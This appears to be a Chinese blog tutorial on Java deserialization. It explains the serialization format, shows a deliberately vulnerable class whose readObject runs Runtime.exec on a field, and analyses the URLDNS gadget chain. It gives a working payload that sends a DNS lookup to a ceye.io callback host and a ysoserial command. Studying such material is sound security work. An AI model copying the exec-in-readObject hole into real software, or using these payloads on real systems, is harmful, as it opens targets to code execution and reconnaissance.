Java-反序列化

反序列化

Posted by BY Diego on July 2, 2020

一、 Java 反序列化过程

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。

Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

定义一个Cmd


public class Cmd implements java.io.Serializable {

    public String cmd;

    Cmd(String s){
        this.cmd = s;
    }
  }

类实现了Serializable接口,才可被反序列化

序列化过程

import java.io.*;

public class Test {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        Cmd a=  new Cmd("calc");
        ObjectOutputStream os=new ObjectOutputStream(new FileOutputStream("record.txt"));
        os.writeObject(a);

    }
}

以文件形式存储 NX7Llj.png

反序列化过程

import java.io.*;
public class Test {

    public static void main(String[] args) throws IOException ,ClassNotFoundException{

      ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("record.txt"));
      Cmd cmd = (Cmd)objectInputStream.readObject();
     }


二、Java序列化格式

主要格式如下

中的终端值和常数值
final static short STREAM_MAGIC = (short)0xaced;
final static short STREAM_VERSION = 5;
final static byte TC_NULL = (byte)0x70;
final static byte TC_REFERENCE = (byte)0x71;
final static byte TC_CLASSDESC = (byte)0x72;
final static byte TC_OBJECT = (byte)0x73;
final static byte TC_STRING = (byte)0x74;
final static byte TC_ARRAY = (byte)0x75;
final static byte TC_CLASS = (byte)0x76;
final static byte TC_BLOCKDATA = (byte)0x77;
final static byte TC_ENDBLOCKDATA = (byte)0x78;
final static byte TC_RESET = (byte)0x79;
final static byte TC_BLOCKDATALONG = (byte)0x7A;
final static byte TC_EXCEPTION = (byte)0x7B;
final static byte TC_LONGSTRING = (byte) 0x7C;
final static byte TC_PROXYCLASSDESC = (byte) 0x7D;
final static byte TC_ENUM = (byte) 0x7E;
final static  int   baseWireHandle = 0x7E0000;

标志字节 classDescFlags可以包含以下值
final static byte SC_WRITE_METHOD = 0x01; //if SC_SERIALIZABLE
final static byte SC_BLOCK_DATA = 0x08;    //if SC_EXTERNALIZABLE
final static byte SC_SERIALIZABLE = 0x02;
final static byte SC_EXTERNALIZABLE = 0x04;
final static byte SC_ENUM = 0x10;

使用SerializationDumper查看序列格式

java -jar .\SerializationDumper-v1.11.jar ACED000573720003436D642586E9098FE1D0EF0200014C0003636D647400124C6A6176612F6C616E672F537472696E673B787074000463616C63

STREAM_MAGIC - 0xac ed #序列化后的流的魔数约
STREAM_VERSION - 0x00 05 #流协议版本
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 3 - 0x00 03
        Value - Cmd - 0x436d64
      serialVersionUID - 0x25 86 e9 09 8f e1 d0 ef #可以通过定义成员来改变此值 private static final long serialVersionUID = 2;
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 1 - 0x00 01 # 可序列化成员的个数
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 3 - 0x00 03
            Value - cmd - 0x636d64
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78 #代表该块定义的序列化流结束了
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      Cmd
        values
          cmd
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 4 - 0x00 04
                Value - calc - 0x63616c63

三、反序列化漏洞

java 也可跟php __wakeup,__sleep 一样,可以重写readObject,writeObject

一个简单的反序列化样例 Cmd.java

import java.io.*;

public class Test1 {

    public static void main(String[] args) throws IOException,ClassNotFoundException {
        Cmd cmd=  new Cmd("calc");
        ObjectOutputStream os=new ObjectOutputStream(new FileOutputStream("record1.txt"));
        os.writeObject(cmd);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("record1.txt"));
        Cmd cmd1 = (Cmd)objectInputStream.readObject();
    }

}

Test1.java


import java.lang.Runtime;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.ClassNotFoundException;


public class Cmd implements java.io.Serializable {

    public String cmd;

    Cmd(String s){
        this.cmd = s;
    }

    private void readObject(ObjectInputStream s) throws IOException,ClassNotFoundException{
        s.defaultReadObject();
        System.out.println(cmd);
        Runtime.getRuntime().exec(cmd);

    }

}

NOnDGF.png

四、URLDNS漏洞 分析

①、payload

该反序列化会导致一次dns 请求 利用过程(借用安全客的payload)

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址
        URL url = new URL("http://aaaa.v36qps.ceye.io");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        //**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
        //1. 设置url的hashCode字段为0xdeadbeef(随意的值)
        f.set(url, 0xdeadbeef);
        //2. 将url放入hashMap中,右边参数随便写
        hashMap.put(url, "rmb122");
        //修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
        f.set(url, -1);
        //0x02.写入文件模拟网络传输
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        //0x03.读取文件,进行反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}


NXaGcR.png

NXa839.png

②、ysoserial 生成payload

java -jar .\ysoserial-master-30099844c6-1.jar URLDNS http://www.baidu.com > res.bin

NXo5jI.png

③、分析

分析如下 反序列化的是HashMap 因此寻找 对应的readObject

NXB5d0.png

HashMapreadObject 会调用hash方法,而key值 通过payload 添加了一项 url,而hash内会调用hashcode方法, NXy2t0.png

NXBfLn.png

经过多次调用最终会调用到java.io.URLhashcode,目的是调用hashcode(this),因此 this.hashcode 不为-1即可 NXB4Zq.png

因为 hashcodeprivate 属性,因此需要用反射的方式去修改值 NXy67n.png

NXygkq.png

然后的hashcode 会调用 getHostAddress

NXBWss.png

最终调用了getByName,完成了DNS 请求,此时的host 在payload里被设置成想要的host NXcMse.png

NXBRMj.png

五、参考

深入理解 JAVA 反序列化漏洞

JAVA反序列化-ysoserial-URLDNS